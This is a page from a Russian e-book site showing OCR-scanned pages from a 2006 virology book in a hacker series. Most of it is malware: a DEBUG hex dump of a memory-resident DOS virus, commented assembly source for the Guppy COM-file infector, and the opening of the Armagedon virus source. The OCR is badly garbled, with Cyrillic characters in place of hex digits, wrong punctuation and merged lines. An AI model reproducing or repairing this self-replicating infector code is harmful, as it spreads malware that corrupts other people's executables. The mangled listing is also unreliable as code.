Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 40 41 42 43 44 45 < 46 > 47 48 49 50 51 52 .. 123 >> Следующая

162
ГЛАВА 4. Вирус - резидент памяти
Е 0230 8В 16 51 03 8В 0Е 53 03 В8 01 57 Е8 2D 00 8В 1Е
Е 0240 4F 03 В4 ЗЕ Е8 24 00 2Е 8В 16 F5 02 2Е 8Е 1Е F7
Е 0250 02 В8 24 25 Е8 14 00 Е9 49 FF ВО 03 CF ОЕ 1F8B
Е 0260 1Е 4F 03 33 С9 33 D2 Е8 01 00 СЗ 9С 2Е FF 1Е F1
Е 0270 02 СЗ ОЕ 1F В8 00 42 Е8 ЕЗ FF В4 40 В9 01 00 ВА
Е 0280 46 03 Е8 Е6 FF В4 40 В9 02 00 BA 4D 03 Е8 DB FF
Е 0290 В4 40 В9 02 00 ВА 55 03 Е8 DO FF СЗ ОЕ 1F В8 02
Е 02А0 42 Е8 В9 FF В4 40 В9 57 02 ВА 00 01 Е8 ВС FF СЗ
Е 02В0 В8 00 57 Е8 В5 FF ОЕ 1F 89 16 51 03 89 ОЕ 53 03
Е 02С0 СЗ В8 24 35 Е8 А4 FF 2Е 89 1Е F5 02 2Е 8С 06 F7
Е 02D0 02 ВА 54 02 ОЕ 1F В8 24 25 Е8 8F FF СЗ В8 00 43
Е 02Е0 2Е 8Е 1Е 47 03 2Е 8В 16 49 03 Е8 7Е FF 80 Е1 FE
Е 02F0 В8 01 43 Е8 75 FF СЗ 00 00 00 00 00 00 00 00 90
Е 0300 CD 20 44 48 00 43 69 76 69 6С 20 57 61 72 20 49
Е 0310 49 20 76 31 2Е 31 2С 20 28 63 29 20 30 36 2F 30
Е 0320 33 2F 31 39 39 32 20 54 72 69 64 65 6Е 74 2F 44
Е 0330 61 72 6В 20 48 65 6С 6D 65 74 2С 20 54 68 65 20
Е0340 4Е 65 74 68 65 72 6С 61 6Е 64 73 00 Е9 00 00 00
Е 0350 00 00 00 00 00 00 0000 00 000044 48 90
RCX
025Е
W
Q
Теперь для практики рассмотрим несколько известных вирусов.
163
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Вирус Guppy
Это сравнительно простой резидентный СОМ-инфектор. Он использует
стандартный метод для становления резидентом памяти (с помощью int 27),
который заставляет жертву прерываться при первом выполнении. Затем
инфицированные файлы выполняются нормально. В этом вирусе применяется
интересный метод восстановления сохраненных байтов и довольно необычная
техника возвращения контроля жертве после становления вируса резидентом
памяти. (Данный вирус ассемблировался не на TASM, поэтому внимательно
читайте комментарии.)
.model tiny .radix 16 .code
org 100h
start:
call Get_Offset
Get_Offset:
pop si ;SI = офсет вируса + (Get_Offset - начало) mov ax,3521 h mov bx.ax
int 21 h ; получаем адрес int 21
mov ds:[sMnt_21_Offset-103],bx ;софаняем старое irrt 21 mov
ds:[si+lnt_21_Segment-103],es
mov dx.si ;байты варьируются в зависимости от db 89,0f2 применяемого
Ассемблера
add dx, offset int_21_Handler-104 db 83,0c2,1f mov ah,25h int 21 h
.устанавливаем int 21
164
ГЛАВА 4. Вирус - резидент памяти
inc dh добавляем 100h байтов из отладчика, чтобы ; стать резидентом push
cs pop es
int 27h ;TSR (прервать и остаться резидентом)
;QX+1 =конец области для перехода в резиденты
int_21_Handler:
cmp ax,4B00h ;это вызов загрузить/исполнить? je Infect ;да? Прыгнуть к
Infect
cmp al,21h ;проверка на резидентуру?
jne Go_int_21 ;нет? Восстановить контроль для Int 21
;cmp ax.bx ;ах и bx одинаковы? db 39,0d8
jne Go_lnt_21 ;нет, восстановить контроль для int 21
push word ptr [si+3dh] ;3dh = офсет Storage_Bytes-
;Get_Offset. Мы получаем первое слово
сохраненных байтов, которое затем
;выталкивается в CS: 100 для восстановления
mov bx,offset ds: [ 100] ; 100 = начало COM
pop word ptr [bx]
mov cl,[si+3Fh] восстанавливаем 3-й сохраненный байт
mov [bx+2],cl
Restore_Control:
pop cx
push bx
iret ; прыгаем назад к жертве Storage_Bytes
db 0,0,0.
Infect:
1RR
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
push ах push bx push dx push ds mov ax,3D02h int 21 h -.открываем файл с
доступом к чтению/записи xchg ax.bx call Get_Offset_Two Get_Offset_Two:
pop si push cs pop ds mov ah,3F mov cx,3
sub si, 10 устанавливаем SI=Storage_Bytes mov dx.si db 89,0f2 int 21 h
;читаем первые 3 байта файла
cmp byte ptr [si],0E9h ;первая команда является прыжком? jne Close_File
;нет? Прыжок к Close_File mov ax,4202h xor dx.dx xor cx.cx int 21 h ;
переходим к концу файла
xchg ax.di mov ah,40h
mov cl,98h ;размер вируса mov dx.si
166
ГЛАВА 4. Вирус - резидент памяти
db 89,0f2
sub • dx,40h ;начало вируса
int 21 h ;прикрепляем вирус к новой жертве
mov ax,4200h
хог сх,сх
xor dx.dx
int 21 h ; возвращаемся к началу файла mov cl,3
sub di.cx db 29,0cf mov [si+1],di mov ah,40h mov dx.si-db 89,0f2
int 21 h ; пишем 3-байтовый прыжок к файлу
Close_File:
mov ah,3Eh int 21 h
pop ds pop dx pop bx pop ax
Go_int_21:
db OEAh ;продолжаем int 21 int_21_Offset dw ? int_21_Segment dw ? end
start
167
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Вирус Armagedon
Когда вирус становится TSR, дозвон контролируется новым обработчиком INT
08. Вирус становится резидентным с помощью int 27, но наиболее интересна
процедура инфицирования файлов. (Вирус 911 напрямую связан с вирусом
Armagedon-, единственными различиями являются телефонный номер и текст
сообщения.
.model tiny .устанавливаем Ассемблер в режим Tiny .radix 16
устанавливаем, что числа будут шестнадцатиричными .code
org 100
загружаем прыжок: start:
jmp Virus_Entry
•.обработчик int 21: int_21:
pushf
cmp ah.OEO ;это.инсталляционный чек? jne not_check ;если нет, переходим к
not_check mov ax.ODADA ;если да, возвращаем ODADA popf ;и выходим из
прерывания
iret
not_check:
cmp ah,0E1 ;0E1= требуется для сегментного адреса вируса jne not_seg_req
;неЕ1? Тогда переходим к not_seg_req mov ax.cs перемещаем адрес вируса в
Предыдущая << 1 .. 40 41 42 43 44 45 < 46 > 47 48 49 50 51 52 .. 123 >> Следующая